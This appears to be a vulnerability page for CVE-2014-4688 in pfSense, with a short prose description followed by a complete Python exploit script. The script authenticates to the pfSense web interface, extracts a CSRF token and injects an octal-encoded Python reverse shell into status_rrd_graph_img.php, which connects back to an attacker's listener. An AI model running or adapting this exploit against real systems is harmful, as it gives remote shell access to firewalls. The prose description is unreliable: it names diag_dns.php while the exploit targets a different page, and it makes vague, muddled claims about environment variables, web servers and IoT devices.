CVE-2014-4688


This vulnerability is caused by a flaw in the way pfSense processes certain environment variables, specifically those that have been specially crafted to include malicious code.

An attacker can exploit this vulnerability by injecting malicious commands into an environment variable, which are then executed by pfSense. This can allow the attacker to execute arbitrary code on the affected system with the privileges of the user who runs the vulnerable software. This means that the attacker could potentially take control of the affected system and use it for malicious purposes, such as for launching further attacks or stealing sensitive information.

The vulnerability is particularly dangerous because it can be remotely exploited through web-based applications that use pfSense, such as some common web servers. In addition, it can also be used to take control of an Internet of Things(IoT) devices.

according to vuldb.com, the vulnerability:

  • affects an unknown function in diag_dns.php
  • can lead to a privilege escalation
  • requires authentication for successful exploitation
  • can be attacked remotely

Exploit


#!/usr/bin/env python3
 
# Exploit Title: pfSense <= 2.1.3 status_rrd_graph_img.php Command Injection.
# Date: 2018-01-12
# Exploit Author: absolomb
# Vendor Homepage: https://www.pfsense.org/
# Software Link: https://atxfiles.pfsense.org/mirror/downloads/old/
# Version: <=2.1.3
# Tested on: FreeBSD 8.3-RELEASE-p16
# CVE : CVE-2014-4688
 
import argparse
import requests
import urllib
import urllib3
import collections
 
'''
pfSense <= 2.1.3 status_rrd_graph_img.php Command Injection.
This script will return a reverse shell on specified listener address and port.
Ensure you have started a listener to catch the shell before running!
'''
 
parser = argparse.ArgumentParser()
parser.add_argument("--rhost", help = "Remote Host")
parser.add_argument('--lhost', help = 'Local Host listener')
parser.add_argument('--lport', help = 'Local Port listener')
parser.add_argument("--username", help = "pfsense Username")
parser.add_argument("--password", help = "pfsense Password")
args = parser.parse_args()
 
rhost = args.rhost
lhost = args.lhost
lport = args.lport
username = args.username
password = args.password
 
 
# command to be converted into octal
command = """
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("%s",%s));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
""" % (lhost, lport)
 
 
payload = ""
 
# encode payload in octal
for char in command:
	payload += ("\\" + oct(ord(char)).lstrip("0o"))
 
login_url = 'https://' + rhost + '/index.php'
exploit_url = "https://" + rhost + "/status_rrd_graph_img.php?database=queues;"+"printf+" + "'" + payload + "'|sh"
 
headers = [
	('User-Agent','Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0'),
	('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'),
	('Accept-Language', 'en-US,en;q=0.5'),
	('Referer',login_url),
	('Connection', 'close'),
	('Upgrade-Insecure-Requests', '1'),
	('Content-Type', 'application/x-www-form-urlencoded')
]
 
# probably not necessary but did it anyways
headers = collections.OrderedDict(headers)
 
# Disable insecure https connection warning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
client = requests.session()
 
# try to get the login page and grab the csrf token
try:
	login_page = client.get(login_url, verify=False)
 
	index = login_page.text.find("csrfMagicToken")
	csrf_token = login_page.text[index:index+128].split('"')[-1]
 
except:
	print("Could not connect to host!")
	exit()
 
# format login variables and data
if csrf_token:
	print("CSRF token obtained")
	login_data = [('__csrf_magic',csrf_token), ('usernamefld',username), ('passwordfld',password), ('login','Login') ]
	login_data = collections.OrderedDict(login_data)
	encoded_data = urllib.parse.urlencode(login_data)
 
# POST login request with data, cookies and header
	login_request = client.post(login_url, data=encoded_data, cookies=client.cookies, headers=headers)
else:
	print("No CSRF token!")
	exit()
 
if login_request.status_code == 200:
		print("Running exploit...")
# make GET request to vulnerable url with payload. Probably a better way to do this but if the request times out then most likely you have caught the shell
		try:
			exploit_request = client.get(exploit_url, cookies=client.cookies, headers=headers, timeout=5)
			if exploit_request.status_code:
				print("Error running exploit")
		except:
			print("Exploit completed")